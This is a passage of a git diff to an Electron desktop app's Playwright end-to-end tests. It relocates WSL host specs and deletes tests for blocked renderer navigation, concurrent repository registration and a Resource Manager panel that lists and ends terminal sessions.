name: 'Ubuntu', state: 'running', version: 2 }] diff --git a/tests/e2e/wsl-host-fake-transport.spec.ts b/tests/e2e/remote/wsl-hosts/wsl-host-fake-transport.spec.ts similarity index 94% rename from tests/e2e/wsl-host-fake-transport.spec.ts rename to tests/e2e/remote/wsl-hosts/wsl-host-fake-transport.spec.ts index ac68d4f03bb..8dcf24b63bd 100644 --- a/tests/e2e/wsl-host-fake-transport.spec.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-host-fake-transport.spec.ts @@ -8,22 +8,20 @@ import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test, type forwardElectronProcessLogs } from './helpers/orca-app' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { createRuntimeDesktopPairingOffer } from './helpers/paired-electron-client' -import { encodePairingOffer } from '../../src/shared/remote-runtime/pairing/pairing' -import { addWslHostEnvironment } from '../../src/shared/remote-runtime/host-store/runtime-environment-wsl-host-operations' -import { openSidebarProjectMenu } from './helpers/sidebar-project-dialog' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' +import { test, type forwardElectronProcessLogs } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import { createRuntimeDesktopPairingOffer } from '../paired-runtime/client-hosts/paired-electron-client' +import { encodePairingOffer } from '../../../../src/shared/remote-runtime/pairing/pairing' +import { addWslHostEnvironment } from '../../../../src/shared/remote-runtime/host-store/runtime-environment-wsl-host-operations' +import { openSidebarProjectMenu } from '../../workspaces/sidebar/sidebar-project-dialog' +import { ensureTerminalVisible, waitForSessionReady } from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput } from '../../terminal/input/terminal' import { - focusActiveTerminalInput, waitForActiveTerminalManager, waitForTerminalOutput -} from './helpers/terminal' -import { - launchDesktopWithFakeWslPairing, - setWslHostsEnabled -} from './helpers/wsl-host-fake-desktop' +} from '../../terminal/layout/terminal-pane-operations' +import { launchDesktopWithFakeWslPairing, setWslHostsEnabled } from './wsl-host-fake-desktop' const WSL_ENVIRONMENT_ID = 'wsl:ubuntu' const WSL_HOST_LABEL = 'Ubuntu (WSL)' diff --git a/tests/e2e/wsl-move-host-pane-history.spec.ts b/tests/e2e/remote/wsl-hosts/wsl-move-host-pane-history.spec.ts similarity index 94% rename from tests/e2e/wsl-move-host-pane-history.spec.ts rename to tests/e2e/remote/wsl-hosts/wsl-move-host-pane-history.spec.ts index 5e46b17f18a..717728698a9 100644 --- a/tests/e2e/wsl-move-host-pane-history.spec.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-move-host-pane-history.spec.ts @@ -16,21 +16,22 @@ import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { createRuntimeDesktopPairingOffer, launchPairedElectronClient -} from './helpers/paired-electron-client' +} from '../paired-runtime/client-hosts/paired-electron-client' import { callEnvironment, createPairedHostTerminal, openPairedClientTab, readPairedPaneContent -} from './helpers/paired-host-terminal' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { createMovedRepo, MOVED_TAB, seedImportedMovedTab } from './helpers/wsl-moved-host-profile' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' +} from '../../terminal/remote-hosts/paired-host-terminal' +import { launchHeadlessPairedRuntimeHost } from '../paired-runtime/client-hosts/headless-paired-runtime-host' +import { createMovedRepo, MOVED_TAB, seedImportedMovedTab } from './wsl-moved-host-profile' +import { quotePosixShell } from '../../../../src/shared/shell/launch/shell-argument-quoting' +import { toWebTerminalSurfaceTabId } from '../../../../src/shared/workspace-layout/terminal-surface-id' const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-moved-history-')) const fixturePath = path.join(scratch, 'history-terminal.mjs') diff --git a/tests/e2e/wsl-move-moved-project-chat-send.spec.ts b/tests/e2e/remote/wsl-hosts/wsl-move-moved-project-chat-send.spec.ts similarity index 88% rename from tests/e2e/wsl-move-moved-project-chat-send.spec.ts rename to tests/e2e/remote/wsl-hosts/wsl-move-moved-project-chat-send.spec.ts index d548795f1a2..1aedcb8a629 100644 --- a/tests/e2e/wsl-move-moved-project-chat-send.spec.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-move-moved-project-chat-send.spec.ts @@ -17,13 +17,14 @@ import { import { tmpdir } from 'node:os' import { delimiter, dirname, join } from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { buildFakeAgentCommandOverride } from './helpers/fake-agent-command-override' -import { SUPPORTED, createChatOnHost } from './helpers/structured-claude-stub' -import { wslMoveCutoverFixture } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { seedWslMoveCutover } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-journal-seeding' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' +import { createRestartSession } from '../../desktop/electron-fixtures/orca-restart' +import { buildFakeAgentCommandOverride } from '../../agents/session-fixtures/fake-agent-command-override' +import { SUPPORTED, createChatOnHost } from '../../agents/session-fixtures/structured-claude-stub' +import { wslMoveCutoverFixture } from '../../../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' +import { seedWslMoveCutover } from '../../../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-journal-seeding' test.use({ seedTestRepo: false }) diff --git a/tests/e2e/helpers/wsl-moved-host-profile.ts b/tests/e2e/remote/wsl-hosts/wsl-moved-host-profile.ts similarity index 94% rename from tests/e2e/helpers/wsl-moved-host-profile.ts rename to tests/e2e/remote/wsl-hosts/wsl-moved-host-profile.ts index 1b17e38ff24..d289b7eb2cd 100644 --- a/tests/e2e/helpers/wsl-moved-host-profile.ts +++ b/tests/e2e/remote/wsl-hosts/wsl-moved-host-profile.ts @@ -5,10 +5,10 @@ import { execFileSync } from 'node:child_process' import { mkdirSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { makeTerminalScrollbackSnapshotRef } from '../../../src/main/pty/scrollback/terminal-scrollback-snapshots' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../../src/shared/orca-profiles/orca-profiles' -import { ORCAD_MIGRATION_MANIFEST_VERSION } from '../../../src/shared/orcad-migration/orcad-migration-manifest-validation' -import { mutateStoppedProfileState } from './persisted-profile-state' +import { makeTerminalScrollbackSnapshotRef } from '../../../../src/main/pty/scrollback/terminal-scrollback-snapshots' +import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../../../src/shared/orca-profiles/orca-profiles' +import { ORCAD_MIGRATION_MANIFEST_VERSION } from '../../../../src/shared/orcad-migration/orcad-migration-manifest-validation' +import { mutateStoppedProfileState } from '../../desktop/electron-fixtures/persisted-profile-state' export const MOVED_TAB = 'moved-tab-0001' const MOVED_LEAF = 'moved-leaf-0001' diff --git a/tests/e2e/helpers/wsl-terminate-retry.ts b/tests/e2e/remote/wsl-hosts/wsl-terminate-retry.ts similarity index 100% rename from tests/e2e/helpers/wsl-terminate-retry.ts rename to tests/e2e/remote/wsl-hosts/wsl-terminate-retry.ts diff --git a/tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts b/tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts deleted file mode 100644 index b61bcfe6df8..00000000000 --- a/tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts +++ /dev/null @@ -1,161 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeStatus } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { waitForSessionReady } from './helpers/store' - -type NavigationProbe = { - startedLoading: number - finishedLoading: number - stoppedLoading: number -} - -declare global { - var __blockedNavigationProbe: NavigationProbe | undefined -} - -test('blocked navigation preserves the renderer document and graph authority', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const before = (await client.call('status.get')).result - - await electronApp.evaluate(({ BrowserWindow, shell }) => { - shell.openExternal = async () => undefined - const probe = { startedLoading: 0, finishedLoading: 0, stoppedLoading: 0 } - globalThis.__blockedNavigationProbe = probe - const contents = BrowserWindow.getAllWindows()[0]!.webContents - contents.on('did-start-loading', () => probe.startedLoading++) - contents.on('did-finish-load', () => probe.finishedLoading++) - contents.on('did-stop-loading', () => probe.stoppedLoading++) - }) - await orcaPage.evaluate(() => { - ;(window as unknown as { __blockedNavigationCanary: string }).__blockedNavigationCanary = - 'alive' - const anchor = document.createElement('a') - anchor.href = 'https://example.invalid/blocked' - document.body.append(anchor) - anchor.click() - }) - - await expect - .poll(() => electronApp.evaluate(() => globalThis.__blockedNavigationProbe)) - .toMatchObject({ startedLoading: 1, finishedLoading: 0, stoppedLoading: 1 }) - expect( - await orcaPage.evaluate( - () => (window as unknown as { __blockedNavigationCanary?: string }).__blockedNavigationCanary - ) - ).toBe('alive') - await expect - .poll(async () => { - const status = (await client.call('status.get')).result - return { - graphStatus: status.graphStatus, - rendererGraphEpoch: status.rendererGraphEpoch, - authoritativeWindowId: status.authoritativeWindowId - } - }) - .toEqual({ - graphStatus: 'ready', - rendererGraphEpoch: before.rendererGraphEpoch, - authoritativeWindowId: before.authoritativeWindowId - }) -}) - -test('cancelled renderer reload restores the surviving graph authority', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const before = (await client.call('status.get')).result - await orcaPage.evaluate(() => { - ;(window as unknown as { __cancelledReloadCanary: string }).__cancelledReloadCanary = 'alive' - }) - - await electronApp.evaluate(({ BrowserWindow }) => { - const contents = BrowserWindow.getAllWindows()[0]!.webContents - const url = new URL(contents.getURL()) - url.searchParams.set('cancelled-reload', '1') - contents.once('will-navigate', (event) => event.preventDefault()) - void contents.executeJavaScript(`window.location.assign(${JSON.stringify(url.href)})`) - }) - - await expect - .poll(async () => { - const status = (await client.call('status.get')).result - return { - graphStatus: status.graphStatus, - rendererGraphEpoch: status.rendererGraphEpoch, - authoritativeWindowId: status.authoritativeWindowId - } - }) - .toEqual({ - graphStatus: 'ready', - rendererGraphEpoch: before.rendererGraphEpoch + 1, - authoritativeWindowId: before.authoritativeWindowId - }) - expect( - await orcaPage.evaluate( - () => (window as unknown as { __cancelledReloadCanary?: string }).__cancelledReloadCanary - ) - ).toBe('alive') -}) - -test('beforeunload cancellation never retires the surviving graph authority', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const before = (await client.call('status.get')).result - await orcaPage.evaluate(() => { - ;(window as unknown as { __preventedUnloadCanary: string }).__preventedUnloadCanary = 'alive' - window.addEventListener( - 'beforeunload', - (event) => { - event.preventDefault() - event.returnValue = '' - }, - { once: true } - ) - }) - // Electron prevents the unload before Playwright can dismiss the transient dialog. - orcaPage.once('dialog', (dialog) => void dialog.dismiss().catch(() => undefined)) - - const navigationEvents = await electronApp.evaluate(async ({ BrowserWindow }) => { - const contents = BrowserWindow.getAllWindows()[0]!.webContents - const events: string[] = [] - contents.on('will-navigate', () => events.push('will-navigate')) - contents.on('did-start-navigation', () => events.push('did-start-navigation')) - contents.on('will-prevent-unload', () => events.push('will-prevent-unload')) - contents.on('did-fail-provisional-load', () => events.push('did-fail-provisional-load')) - contents.on('did-fail-load', () => events.push('did-fail-load')) - contents.on('did-frame-navigate', () => events.push('did-frame-navigate')) - const url = new URL(contents.getURL()) - url.searchParams.set('prevented-unload', '1') - await contents.loadURL(url.href).catch(() => undefined) - return events - }) - - expect(navigationEvents).toEqual(['will-prevent-unload', 'did-fail-load']) - const after = (await client.call('status.get')).result - expect({ - graphStatus: after.graphStatus, - rendererGraphEpoch: after.rendererGraphEpoch, - authoritativeWindowId: after.authoritativeWindowId - }).toEqual({ - graphStatus: 'ready', - rendererGraphEpoch: before.rendererGraphEpoch, - authoritativeWindowId: before.authoritativeWindowId - }) - expect( - await orcaPage.evaluate( - () => (window as unknown as { __preventedUnloadCanary?: string }).__preventedUnloadCanary - ) - ).toBe('alive') -}) diff --git a/tests/e2e/repo-registration-concurrency.spec.ts b/tests/e2e/repo-registration-concurrency.spec.ts deleted file mode 100644 index 09e3a45e7d3..00000000000 --- a/tests/e2e/repo-registration-concurrency.spec.ts +++ /dev/null @@ -1,86 +0,0 @@ -import { mkdirSync, mkdtempSync, realpathSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { runProcess } from '@orca/process-host' - -test.use({ seedTestRepo: false }) - -async function runFixtureGit(spec: Parameters[0]): Promise { - const result = await runProcess(spec) - expect(result.code, result.stderr).toBe(0) -} - -test('concurrent registration keeps one identity, including nested and linked paths', async ({ - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const root = realpathSync(mkdtempSync(join(tmpdir(), 'orca-registration-'))) - const repoPath = join(root, 'repo') - const nestedPath = join(repoPath, 'nested') - const linkedPath = join(root, 'linked') - mkdirSync(nestedPath, { recursive: true }) - registerPostElectronShutdownCleanup(async () => { - const { rm } = await import('node:fs/promises') - await rm(root, { recursive: true, force: true }) - }) - await runFixtureGit({ program: 'git', args: ['init', repoPath] }) - await runFixtureGit({ - program: 'git', - args: [ - '-c', - 'user.name=E2E', - '-c', - 'user.email=e2e@test.local', - 'commit', - '--allow-empty', - '-m', - 'fixture' - ], - cwd: repoPath - }) - await runFixtureGit({ - program: 'git', - args: ['worktree', 'add', '-b', 'linked', linkedPath], - cwd: repoPath - }) - await waitForSessionReady(orcaPage) - const result = await orcaPage.evaluate( - async ({ repoPath, nestedPath }) => { - const results = await Promise.all( - Array.from({ length: 6 }, (_, index) => - window.api.repos.add({ path: index % 2 ? nestedPath : repoPath }) - ) - ) - if (results.some((result) => 'error' in result)) { - throw new Error(JSON.stringify(results)) - } - await window - .__store!.getState() - .fetchRepos({ runtimeEnvironmentId: null, throwOnError: true }) - await window.__store!.getState().awaitLocalRepoCatalogSettlement() - return { - ids: results.map((result) => ('repo' in result ? result.repo.id : null)), - persistedIds: (await window.api.repos.list()).map((repo) => repo.id) - } - }, - { repoPath, nestedPath } - ) - expect(new Set(result.ids).size).toBe(1) - expect(result.persistedIds).toEqual([result.ids[0]]) - // A repos:changed refresh can supersede the explicitly awaited catalog fetch. - await expect - .poll(() => orcaPage.evaluate(() => window.__store!.getState().repos.map((repo) => repo.id))) - .toEqual(result.persistedIds) - const linked = await orcaPage.evaluate(async (path) => window.api.repos.add({ path }), linkedPath) - expect('repo' in linked && linked.repo.id).toBe(result.ids[0]) - const missing = await orcaPage.evaluate( - async (path) => window.api.repos.add({ path }), - join(root, 'missing') - ) - expect('error' in missing).toBe(true) - expect( - await orcaPage.evaluate(async () => (await window.api.repos.list()).map((repo) => repo.id)) - ).toEqual(result.persistedIds) -}) diff --git a/tests/e2e/resource-manager-bound-ptys.spec.ts b/tests/e2e/resource-manager-bound-ptys.spec.ts deleted file mode 100644 index 7bd99334e77..00000000000 --- a/tests/e2e/resource-manager-bound-ptys.spec.ts +++ /dev/null @@ -1,98 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { makeResourceManagerFixtureVisible } from './helpers/resource-manager-visible-fixture' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePanePtyId } from './helpers/terminal' - -for (const theme of ['light', 'dark'] as const) { - test(`PTY navigation keeps Resource Manager open while browsing and ending terminals (${theme})`, async ({ - electronApp, - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await orcaPage.setViewportSize({ width: 1200, height: 900 }) - await orcaPage.evaluate(async (theme) => { - await window.__store!.getState().updateSettingsOrThrow({ theme }) - }, theme) - const terminals: { tabId: string; ptyId: string; title: string }[] = [] - for (const title of ['Terminal 1', 'Terminal 8', '工作日仓库审计 run 33']) { - const tabId = await orcaPage.evaluate( - ({ title, create }) => { - const state = window.__store!.getState() - const workspaceId = state.activeWorktreeId - if (!workspaceId || !state.activeTabId) { - throw new Error('Missing active workspace or tab') - } - const tabId = create ? state.createTab(workspaceId).id : state.activeTabId - state.setActiveTab(tabId) - state.setTabCustomTitle(tabId, title) - return tabId - }, - { title, create: terminals.length > 0 } - ) - terminals.push({ title, tabId, ptyId: await waitForActivePanePtyId(orcaPage) }) - } - await makeResourceManagerFixtureVisible(electronApp, orcaPage) - const openPtys = async (): Promise => { - await orcaPage.getByRole('button', { name: /^Resource Manager,/ }).click() - await orcaPage.getByRole('tab', { name: /^PTYs/ }).click() - } - await openPtys() - await expect(orcaPage.getByText('3 Orca PTYs on this computer')).toBeVisible() - const body = orcaPage.locator('[data-resource-pty-body]') - await orcaPage.screenshot({ - animations: 'disabled', - path: testInfo.outputPath(`bound-ptys-collapsed-${theme}.png`) - }) - for (const terminal of terminals) { - await expect( - body.getByRole('button', { name: `Open ${terminal.title}`, exact: true }) - ).toBeVisible() - await expect( - body.getByRole('button', { name: `End ${terminal.title}`, exact: true }) - ).toBeEnabled() - } - const panel = orcaPage.getByRole('tabpanel', { name: /^PTYs/ }) - const first = terminals[0] - await expect(panel.getByRole('searchbox')).toHaveCount(0) - await expect(panel.getByRole('combobox')).toHaveCount(0) - await expect(body.getByRole('button', { name: 'Open Terminal 8', exact: true })).toBeVisible() - const details = body.getByRole('button', { name: `Details for ${first.title}`, exact: true }) - await details.click() - await expect(details).toHaveAttribute('aria-expanded', 'true') - await expect(body.locator('dl').getByText(first.ptyId, { exact: true })).toBeVisible() - await details.click() - for (const terminal of terminals) { - await body.getByRole('button', { name: `Open ${terminal.title}`, exact: true }).click() - await expect(body).toBeVisible() - await expect( - orcaPage.locator(`[data-testid="sortable-tab"][data-tab-id="${terminal.tabId}"]`) - ).toHaveAttribute('data-active', 'true') - } - await body.getByRole('button', { name: `End ${first.title}`, exact: true }).click() - await expect(orcaPage.getByRole('dialog', { name: `End ${first.title}?` })).toHaveCount(0) - await expect(orcaPage.getByText('2 Orca PTYs on this computer')).toBeVisible() - await expect( - body.getByRole('button', { name: `Open ${first.title}`, exact: true }) - ).toHaveCount(0) - await orcaPage.screenshot({ - animations: 'disabled', - path: testInfo.outputPath(`bound-ptys-${theme}.png`) - }) - await expect(orcaPage.getByRole('heading', { name: `End ${first.title}?` })).toHaveCount(0) - for (const terminal of terminals.slice(1)) { - await body.getByRole('checkbox', { name: `Select ${terminal.title}`, exact: true }).check() - } - await orcaPage.screenshot({ - animations: 'disabled', - path: testInfo.outputPath(`bound-ptys-selected-${theme}.png`) - }) - await panel.getByRole('button', { name: 'End selected (2)', exact: true }).click() - await expect(orcaPage.getByText('0 Orca PTYs on this computer')).toBeVisible() - await expect(body.getByText('No local Orca PTYs', { exact: true })).toBeVisible() - await expect(orcaPage.getByRole('dialog', { name: /^End / })).toHaveCount(0) - await orcaPage.keyboard.press('Escape') - await expect(body).toHaveCount(0) - }) -} diff --git a/tests/e2e/resource-manager-end-tabless-terminals.spec.ts b/tests/e2e/resource-manager-end-tabless-terminals.spec.ts deleted file mode 100644 index f29599e6b7d..00000000000 --- a/tests/e2e/resource-manager-end-tabless-terminals.spec.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { mkdirSync } from 'node:fs' -import { expect, test } from './helpers/orca-app' -import { makeResourceManagerFixtureVisible } from './helpers/resource-manager-visible-fixture' -import { waitForSessionReady } from './helpers/store' - -test.use({ seedTestRepo: false }) - -test('Resource Manager ends a tab-less terminal this run spawned', async ({ - orcaPage, - electronApp -}, testInfo) => { - const folderPath = testInfo.outputPath('notes') - mkdirSync(folderPath, { recursive: true }) - await waitForSessionReady(orcaPage) - await orcaPage.setViewportSize({ width: 1200, height: 900 }) - const ptyId = await orcaPage.evaluate(async (folderPath) => { - const state = window.__store!.getState() - const group = await window.api.projectGroups.create({ - name: 'Notes', - parentPath: folderPath, - createdFrom: 'folder-scan' - }) - await state.fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - if (!group) { - throw new Error('Could not create project group') - } - const folder = await state.createFolderWorkspace( - { projectGroupId: group.id, name: 'Notes', folderPath }, - { runtimeEnvironmentId: null } - ) - if (!folder) { - throw new Error('Could not create folder workspace') - } - const spawned = await window.api.pty.spawn({ - cols: 80, - rows: 24, - cwd: folderPath, - worktreeId: `folder:${folder.folderWorkspace.id}`, - initiallyHidden: true - }) - return spawned.id - }, folderPath) - - await makeResourceManagerFixtureVisible(electronApp, orcaPage) - await orcaPage.getByRole('button', { name: /^Resource Manager,/ }).click() - await orcaPage.getByRole('tab', { name: 'PTYs', exact: true }).click() - const panel = orcaPage.getByRole('tabpanel', { name: /^PTYs/ }) - await expect(panel.getByText(/1 without a tab/)).toBeVisible() - const rows = panel.locator('[data-resource-pty-row]') - await rows.getByRole('button', { name: /^End / }).click() - await expect(orcaPage.getByRole('dialog', { name: /^End .*\?$/ })).toHaveCount(0) - await expect(rows).toHaveCount(0) - await expect - .poll(async () => - (await orcaPage.evaluate(() => window.api.pty.listSessions({ connectionId: null }))).map( - (session) => session.id - ) - ) - .not.toContain(ptyId) -}) diff --git a/tests/e2e/resource-manager-local-pty-view.spec.ts b/tests/e2e/resource-manager-local-pty-view.spec.ts deleted file mode 100644 index 2a14251a951..00000000000 --- a/tests/e2e/resource-manager-local-pty-view.spec.ts +++ /dev/null @@ -1,294 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { makeResourceManagerFixtureVisible } from './helpers/resource-manager-visible-fixture' -import { waitForSessionReady } from './helpers/store' - -type PtyViewCounts = { listing: number; metrics: number; kills?: unknown[] } - -declare global { - var __ptyViewCounts: PtyViewCounts | undefined -} - -test.use({ seedTestRepo: false }) - -test('a real hidden window performs no Resource Manager diagnostics and vetoes forced tagged calls', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - await electronApp.evaluate(({ ipcMain }) => { - type InvokeHandler = (event: Electron.IpcMainInvokeEvent, ...args: unknown[]) => unknown - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Electron's private invoke registry is checked before wrapping the real handlers. - const handlers = (ipcMain as unknown as { _invokeHandlers: Map }) - ._invokeHandlers - const counts: PtyViewCounts = { listing: 0, metrics: 0 } - globalThis.__ptyViewCounts = counts - for (const [channel, key] of [ - ['pty:listSessions', 'listing'], - ['memory:getSnapshot', 'metrics'] - ] as const) { - const original = handlers.get(channel) - if (!original) { - throw new Error(`Missing ${channel}`) - } - ipcMain.removeHandler(channel) - ipcMain.handle(channel, (event, ...args) => { - if ( - args.some((value) => value && typeof value === 'object' && 'resourceManagerView' in value) - ) { - counts[key]++ - } - return original(event, ...args) - }) - } - }) - await orcaPage.getByRole('button', { name: /^Resource Manager,/ }).click() - await orcaPage.getByRole('tab', { name: 'PTYs', exact: true }).click() - await expect(orcaPage.getByText('Loading terminals…', { exact: true })).toBeVisible() - await orcaPage.waitForTimeout(2_100) - expect( - await electronApp.evaluate(() => { - if (!globalThis.__ptyViewCounts) { - throw new Error('PTY view counters missing') - } - return globalThis.__ptyViewCounts - }) - ).toEqual({ listing: 0, metrics: 0 }) - expect(await orcaPage.evaluate(() => window.api.memory.resourceWindowVisible())).toBe(false) - const veto = await orcaPage.evaluate(async () => { - try { - await window.api.pty.listSessions({ connectionId: null }, { resourceManagerView: true }) - return 'unexpected success' - } catch (error) { - return String(error) - } - }) - expect(veto).toContain('view_not_visible') - await expect(orcaPage.getByText(/Unverifiable: local terminals/)).toHaveCount(0) -}) - -for (const { theme, sessionCount, viewportHeight } of [ - { theme: 'dark', sessionCount: 1_000, viewportHeight: 900 }, - { theme: 'light', sessionCount: 1_000, viewportHeight: 900 }, - { theme: 'dark', sessionCount: 20, viewportHeight: 500 }, - { theme: 'light', sessionCount: 10_000, viewportHeight: 500 } -] as const) { - test(`local PTY review and background ending with ${sessionCount} sessions (${theme}, ${viewportHeight}px)`, async ({ - electronApp, - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await orcaPage.setViewportSize({ width: 1200, height: viewportHeight }) - await electronApp.evaluate(({ ipcMain }, sessionCount) => { - const rows = Array.from({ length: sessionCount }, (_, index) => ({ - id: `local-pty-${String(index).padStart(4, '0')}`, - incarnationId: `incarnation-${index}`, - title: `Terminal ${index}`, - ...(index === sessionCount - 1 ? { foregroundProcess: 'node' } : {}), - cwd: `/workspace/folder-${index}`, - agentOwnership: index === 0 ? 'unknown' : 'absent', - fencedTermination: index !== sessionCount - 2 - })) - const counts: Required = { - listing: 0, - metrics: 0, - kills: [] - } - globalThis.__ptyViewCounts = counts - for (const channel of [ - 'pty:listSessions', - 'memory:getSnapshot', - 'memory:resourceWindowVisible', - 'pty:killFenced' - ]) { - ipcMain.removeHandler(channel) - } - ipcMain.handle('memory:resourceWindowVisible', () => true) - ipcMain.handle('memory:getSnapshot', () => { - counts.metrics++ - return null - }) - ipcMain.handle('pty:listSessions', (_event, scope) => { - counts.listing++ - if (scope?.connectionId !== null) { - return [] - } - return rows - }) - ipcMain.handle('pty:killFenced', (_event, request) => { - counts.kills.push(request) - return { outcome: 'refused', reason: 'attached' } - }) - }, sessionCount) - await makeResourceManagerFixtureVisible(electronApp, orcaPage) - await orcaPage.evaluate(async (theme) => { - await window.__store!.getState().updateSettingsOrThrow({ theme }) - }, theme) - await orcaPage.getByRole('button', { name: /^Resource Manager,/ }).click() - const popover = orcaPage.locator('[data-slot="popover-content"]').filter({ - has: orcaPage.getByRole('tab', { name: 'Resources', exact: true }) - }) - const resourcesHeight = await popover.evaluate((element) => element.clientHeight) - const listStarted = performance.now() - await orcaPage.getByRole('tab', { name: 'PTYs', exact: true }).click() - await expect( - orcaPage.getByText( - `${sessionCount} Orca PTYs on this computer · ${sessionCount} without a tab`, - { exact: true } - ) - ).toBeVisible() - const listMs = performance.now() - listStarted - const before = await electronApp.evaluate(() => { - if (!globalThis.__ptyViewCounts) { - throw new Error('PTY view counters missing') - } - return globalThis.__ptyViewCounts - }) - const panel = orcaPage.getByRole('tabpanel', { name: /^PTYs/ }) - await expect(panel.getByRole('searchbox')).toHaveCount(0) - await expect(panel.getByRole('combobox')).toHaveCount(0) - const body = orcaPage.locator('[data-resource-pty-body]') - await expect - .poll(() => popover.evaluate((element) => element.clientHeight)) - .toBe(resourcesHeight) - await expect - .poll(() => body.evaluate((element) => element.scrollHeight > element.clientHeight)) - .toBe(true) - await body.evaluate((element) => { - element.scrollTop = element.scrollHeight - }) - const unsupportedEnd = panel.getByRole('button', { - name: `End Terminal ${sessionCount - 2}`, - exact: true - }) - await expect(unsupportedEnd).toBeDisabled() - await unsupportedEnd.locator('..').hover() - await expect(orcaPage.getByRole('tooltip', { name: /^End is unavailable/ })).toContainText( - 'End is unavailable for this terminal. Its host does not support the required safety checks.' - ) - const details = panel.getByRole('button', { - name: `Details for Terminal ${sessionCount - 1}`, - exact: true - }) - await details.focus() - await orcaPage.keyboard.press('Enter') - await expect(details).toHaveAttribute('aria-expanded', 'true') - const lastSessionId = `local-pty-${String(sessionCount - 1).padStart(4, '0')}` - await expect(panel.locator('dl').getByText(lastSessionId, { exact: true })).toBeVisible() - await expect( - panel.locator('dl').getByText(`incarnation-${sessionCount - 1}`, { exact: true }) - ).toBeVisible() - await expect(panel.locator('dl').getByText('Unavailable', { exact: true })).toHaveCount(2) - await panel.getByRole('button', { name: 'Copy Orca session ID', exact: true }).click() - expect(await electronApp.evaluate(({ clipboard }) => clipboard.readText())).toBe(lastSessionId) - await orcaPage.screenshot({ - path: testInfo.outputPath(`local-pty-details-${theme}.png`), - animations: 'disabled' - }) - await body.evaluate((element) => { - element.scrollTop = 0 - }) - await expect(panel.getByRole('button', { name: 'End Terminal 0', exact: true })).toBeVisible() - const firstTerminal = orcaPage.getByRole('button', { name: 'End Terminal 0', exact: true }) - await expect(firstTerminal).toBeVisible() - expect(await orcaPage.getByRole('button', { name: /^End Terminal/ }).count()).toBeLessThan(50) - await firstTerminal.focus() - for (let index = 1; index <= Math.min(30, sessionCount - 3); index++) { - await orcaPage.keyboard.press('Tab') - await expect( - body.getByRole('checkbox', { name: `Select Terminal ${index}`, exact: true }) - ).toBeFocused() - await orcaPage.keyboard.press('Tab') - await orcaPage.keyboard.press('Tab') - const terminal = orcaPage.getByRole('button', { name: `End Terminal ${index}`, exact: true }) - await expect(terminal).toBeFocused() - await expect(terminal).toBeInViewport() - } - await body.evaluate((element) => { - element.scrollTop = element.scrollHeight - }) - const lastTerminal = body.getByRole('button', { - name: `End Terminal ${sessionCount - 1}`, - exact: true - }) - await expect(lastTerminal).toBeInViewport() - console.info(JSON.stringify({ theme, rows: sessionCount, listMs })) - await expect( - body.getByText(`Last seen process: node · /workspace/folder-${sessionCount - 1}`, { - exact: true - }) - ).toBeVisible() - const after = await electronApp.evaluate(() => { - if (!globalThis.__ptyViewCounts) { - throw new Error('PTY view counters missing') - } - return 